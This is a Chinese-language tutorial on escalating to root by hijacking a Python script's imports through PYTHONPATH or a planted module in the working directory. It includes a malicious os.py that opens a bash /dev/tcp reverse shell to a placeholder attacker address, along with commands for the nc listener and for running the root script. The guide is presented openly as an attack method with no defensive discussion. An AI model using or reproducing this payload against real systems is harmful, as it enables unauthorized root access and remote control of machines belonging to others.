### 如何利用 Python 的环境特性在不修改原脚本的前提下，劫持程序执行流程并获取 Root Shell

**一、利用 `PYTHONPATH` 环境变量劫持**

**`PYTHONPATH`** 环境变量是 Python 解释器在寻找导入模块时，除了系统默认路径（如标准库路径和当前目录）外，会优先搜索的路径列表。如果目标脚本以 **`root`** 权限运行，并且我们能够控制 `PYTHONPATH` 的值或目标环境，就可以实现劫持

**原理**

1. **目标：** 找到一个目标脚本（以 Root 权限运行）会导入的**标准库模块**或**第三方库模块**。假设目标脚本中有一行代码是 `import os`
2. **创建恶意模块：** 我们在可控目录下创建一个与目标导入模块同名的文件，例如 `os.py`
3. **设置 `PYTHONPATH`：** 将我们存放恶意 `os.py` 文件的目录路径设置为 `PYTHONPATH` 的值
4. **执行流程：** 当 Root 脚本启动时，Python 解释器会**优先**在 `PYTHONPATH` 指向的目录中搜索 `os.py`。它会找到我们的恶意文件，并执行其中的代码，而不是系统标准的 `os` 库

**攻击步骤（获取 Root Shell）**

假设目标 Root 脚本名为 `target_root_script.py`，且它导入了 `os` 模块

1. **创建恶意载荷 (Payload)：** 在我们的可写入目录（例如 `/home/user/malicious_path/`）下创建 `os.py` 文件

   ```python
   # /home/user/malicious_path/os.py
   import subprocess
   import socket
   
   # 这段代码将在模块被导入时立即执行
   def trigger():
       # 反弹 Root Shell
       # 注意：这里使用 bash 和 /dev/tcp 是 Linux 特有技巧
       # 实际操作中，可以使用 Python 的 socket 库实现更隐蔽的反弹
       LHOST = '你的攻击机IP'
       LPORT = '你的监听端口'
       subprocess.run(f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1", shell=True)
   
   # 确保在模块加载时触发
   trigger()
   
   # 为了不让目标程序崩溃，我们可能需要在这里导入和暴露真正的 os 模块
   # 但简单起见，可以先尝试让程序崩溃，如果能获得 Shell 就不必关心
   # 复杂劫持：from real_os_module import *
   ```

2. **设置环境变量并执行：** 在 Shell 中设置 `PYTHONPATH`，然后运行目标脚本

   ```bash
   # 确保你的攻击机已经在 LPORT 端口监听 (e.g., nc -lvnp LPORT)
   
   export PYTHONPATH="/home/user/malicious_path/"
   /usr/bin/python3 /path/to/target_root_script.py
   # 此时，target_root_script.py 导入 os 模块时，将执行我们的反弹 Shell 代码
   ```

****

**二、利用标准库的优先级加载机制（文件名冲突）**

如果没有 `PYTHONPATH` 的控制权，我们还可以利用 Python 的**默认搜索顺序**来实现劫持。

**原理**

Python 的模块搜索顺序通常是：

1. **当前目录或程序所在目录（优先级最高）**
2. `PYTHONPATH` 中的目录
3. 标准库目录和第三方包目录

如果我们将恶意模块放置在**目标 Root 脚本所在的目录**下，或者放置在**用户当前工作目录**下，并以与目标脚本导入的模块相同的名称命名，它将优先于系统标准库被加载

**攻击策略**

这种策略需要我们对目标脚本所在的目录有写入权限，或者能控制脚本执行时的**当前工作目录 (CWD)**

1. **目标：** 目标 Root 脚本（`/opt/app/root_tool.py`）导入了 `config` 模块（一个自定义模块），或者导入了一个常见且不复杂的标准库模块，如 `logging` 或 `tempfile`

2. **当前目录劫持：** 如果目标脚本执行时，我们能控制其 CWD：

   - **创建恶意载荷：** 在我们控制的 CWD 下创建一个名为 `logging.py` 的恶意文件
   - **执行：** 当 Root 脚本被执行时，如果它导入了 `import logging`，它将加载 CWD 下的 `logging.py`

   ```bash
   # 攻击机已监听 LPORT
   
   # 切换到我们的可控目录（假设我们在这里创建了恶意的 logging.py）
   cd /home/user/malicious_cwd/
   
   # 执行 Root 脚本，使其在我们的目录下启动
   /usr/bin/python3 /opt/app/root_tool.py
   ```